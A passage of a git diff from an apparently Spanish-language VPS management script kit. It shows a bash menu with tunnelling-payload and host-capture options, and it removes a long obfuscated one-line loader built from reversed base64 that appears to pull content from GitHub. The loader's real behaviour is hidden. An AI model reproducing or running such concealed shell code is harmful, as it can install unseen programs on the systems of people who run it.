+paybrute () { +chmod +x ./paysnd.sh +./paysnd.sh +} + +function_17 () { +echo -e " ESTAS SEGURO DE REINICIAR TU SERVIDOR VPS" +read -p " [S/N]: " -e -i n sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +msg -bar +echo -e "\033[1;36m EJECUTANDO REINICIO" +sleep 3s +msg -bar +echo -e "\033[1;36m OK" +sleep 1s +sudo reboot +} +} + +############################ +while : +do +start_menu +selection=$(selection_fun 19) +case ${selection} in +0) +break +;; +1) +block_torrent +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +2) +fix_vultr +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +3) +badUDP +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +4) +tcp_BBR +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +5) +fail_ban +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +6) +function_10 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +7) +testing_test +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +8) +online_url +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +9) +criar_pay +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +10) +msg -bar +echo -ne "\033[1;33m HOST: \033[1;37m"; read hostcaptura +echo -ne "\033[1;33m LIMITE DE CAPTURA: \033[1;37m"; read limitecaptura +chmod 777 ./ultrahost +./ultrahost "${hostcaptura}" "${limitecaptura}" +read -p " ¡Enter, para volver!" +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +11) +t_master +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +12) +function_17 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +;; +esac +done diff --git a/Lista/menu b/Lista/menu index c8ae6cb..3bdd01e 100755 --- a/Lista/menu +++ b/Lista/menu @@ -1,2 +1,892 @@ #!/bin/bash -lIpqRKyWHuFUOiAcZQUMQHlzyOOpyFcOSyUlqNjMGjQimiwiidUdWYPgtIevImhFLgMGsazszepPZUSJXlLVcOUYpJcJDrWuvAoz="vxlYVIEaYxOPyvgGWycsfRRSRHYzFXhGcNGzctmBATdtDbeiwBmYRtDoijzOTVlaUXAPdsoRXWFrhUvLHgmDdjxNDPIhynJTzyMX";iQsDAOPrDOigGRZkdtlueRglaehgyqlbMiZNNdYACQqvnjoiYoifwsjafScOYVhVUktHzydZkVPvoKwfUapteNjcSMqOkDRtIPPH="zTDJHAGdwNqJQMQFKiunmAZLxzeDSpPDjCpvKVPEygqsSKmrRfdnATZEzWsDdJPCDXQCkXyAmtXVfEPBbCiTjDLodAeQMmYAWgVf";vzXfGbvFjUMKlYorLcgHpQWbBmahgYujcXPsWIKaQQyYTrgZPQInxGlfnoaLOdQoUjmLDdounFpeztggHtHBVJZReKPKLwbcUPLg="ch";MycMZwhNnEENUfinQiPYqwzGBBGRKwjTJLrrraZHOnhdvnfDCEKRPFTJEHdNYJzTrNCdkPdEZIMPjrPPpkePSFnzYfgnOdsoGJFr="4";tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB="";IhmUPQLHymMgLLOkGvZxFUDiuGQpHiUkIMLZaffxctWFtSvTsFePDXzkCcRUnrJWtxQuDHuJMuLesOGglZWKKaNaNzkbbrVAUusp="nOiUYkXhuyNTEZHrdPlTndYhAYaVEIbnmKHZNyvjttPJJAvymEEZuFsMFtLYGaJTJLvlGdXhWFupKFAOboEKDcYVZXgsTAGKyWhS";dBZQaUlsCBWFlNmMwyDsINxczHQYWaGkiyUWePrEDwEULStCxbdQdTTSzISyOubjkJClRGarZfaLRzIkpyVuWQssazEKiHPCQyAf=" =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